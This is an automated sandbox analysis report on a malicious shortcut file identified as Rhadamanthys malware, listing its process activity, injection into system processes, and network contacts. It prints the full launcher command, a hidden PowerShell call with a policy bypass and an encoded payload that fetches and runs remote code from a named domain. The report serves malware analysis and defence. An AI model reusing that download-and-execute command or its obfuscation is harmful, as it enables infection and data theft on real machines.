Analysis Overview
SHA256
b8a5cb1a0bc2ddd5b12f29781391ce38806b8dd0af28a0612d71a58063250ae8
Threat Level: Known bad
The file DOC527 - 527527.lnk was found to be: Known bad.
Malicious Activity Summary
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-05 08:43
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-05 08:43
Reported
2024-04-05 08:46
Platform
win7-20240221-en
Max time kernel
121s
Max time network
121s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2992 wrote to memory of 2632 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2992 wrote to memory of 2632 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2992 wrote to memory of 2632 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2632-39-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
memory/2632-41-0x0000000001D30000-0x0000000001DB0000-memory.dmp
memory/2632-40-0x0000000001F60000-0x0000000001F68000-memory.dmp
memory/2632-38-0x000000001B750000-0x000000001BA32000-memory.dmp
memory/2632-43-0x0000000001D30000-0x0000000001DB0000-memory.dmp
memory/2632-44-0x0000000001D30000-0x0000000001DB0000-memory.dmp
memory/2632-42-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
memory/2632-45-0x0000000001D30000-0x0000000001DB0000-memory.dmp
memory/2632-46-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-05 08:43
Reported
2024-04-05 08:46
Platform
win10v2004-20240226-en
Max time kernel
92s
Max time network
94s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 4560 created 2676 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1292 wrote to memory of 4560 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1292 wrote to memory of 4560 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4560 wrote to memory of 3048 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4560 wrote to memory of 3048 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4560 wrote to memory of 3048 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4560 wrote to memory of 3048 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 152.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsospogd.45d.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4560-11-0x000001E671870000-0x000001E671892000-memory.dmp
memory/4560-12-0x00007FFC730F0000-0x00007FFC73BB1000-memory.dmp
memory/4560-13-0x000001E671BF0000-0x000001E671C00000-memory.dmp
memory/4560-14-0x000001E671B50000-0x000001E671BAE000-memory.dmp
memory/4560-15-0x000001E6718B0000-0x000001E6718C0000-memory.dmp
memory/4560-16-0x000001E6740C0000-0x000001E6744C0000-memory.dmp
memory/4560-17-0x000001E6718B0000-0x000001E6718C0000-memory.dmp
memory/4560-18-0x000001E6740C0000-0x000001E6744C0000-memory.dmp
memory/4560-19-0x000001E6740C0000-0x000001E6744C0000-memory.dmp
memory/4560-21-0x000001E6740C0000-0x000001E6744C0000-memory.dmp
memory/4560-20-0x00007FFC915F0000-0x00007FFC917E5000-memory.dmp
memory/4560-22-0x00007FFC902D0000-0x00007FFC9038E000-memory.dmp
memory/4560-23-0x00007FFC8EFF0000-0x00007FFC8F2B9000-memory.dmp
memory/3048-24-0x000001C656880000-0x000001C656889000-memory.dmp
memory/4560-31-0x000001E6740C0000-0x000001E6744C0000-memory.dmp
memory/4560-30-0x00007FFC730F0000-0x00007FFC73BB1000-memory.dmp
memory/3048-33-0x000001C658300000-0x000001C658700000-memory.dmp
memory/3048-34-0x00007FFC902D0000-0x00007FFC9038E000-memory.dmp
memory/3048-32-0x00007FFC915F0000-0x00007FFC917E5000-memory.dmp
memory/3048-35-0x00007FFC8EFF0000-0x00007FFC8F2B9000-memory.dmp
memory/3048-29-0x000001C658300000-0x000001C658700000-memory.dmp
memory/3048-36-0x000001C658300000-0x000001C658700000-memory.dmp